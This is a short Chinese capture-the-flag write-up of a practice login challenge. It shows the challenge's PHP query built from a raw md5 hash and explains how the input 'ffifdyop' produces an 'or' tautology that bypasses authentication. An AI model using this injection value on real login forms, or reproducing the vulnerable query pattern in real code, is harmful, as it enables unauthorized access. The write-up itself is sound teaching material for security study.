**
後臺登陸SQL
**
地址:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
查看源代碼,出現提示,後臺數據庫的查詢代碼:
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密碼錯誤!';
} -->
分析代碼:
md5($password,true),對我們輸入的密碼進行了md5加密
【
】
但是組成SQL查詢語句的時候這個hex(16進制)會被轉成字符串,如果轉換之後的字符串包含’or’,就會和原查詢語句一起組成:
$sql="select password from users where password=''or'<xxx>'"
導致了sql注入
提供一個字符串: ffifdyop
md5後,276f722736c95d99e921722cf9ed621c
再轉成字符串:'or ’ 6
解析:存在 or 即代碼的兩邊有一邊爲真既可以繞過,其實爲垃圾代碼沒有任何用的。
or 後面有6,非零值即爲真。既可以成功繞過。
【
作者:許胖子
鏈接:https://www.jianshu.com/p/e37e26d2ba7f
來源:簡書
】
構造的SQL語句:SELECT * FROM admin WHERE pass=’ ‘or ’ 6’
後面代碼只是判斷了返回回來的結果的行數是否是大於零:
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0)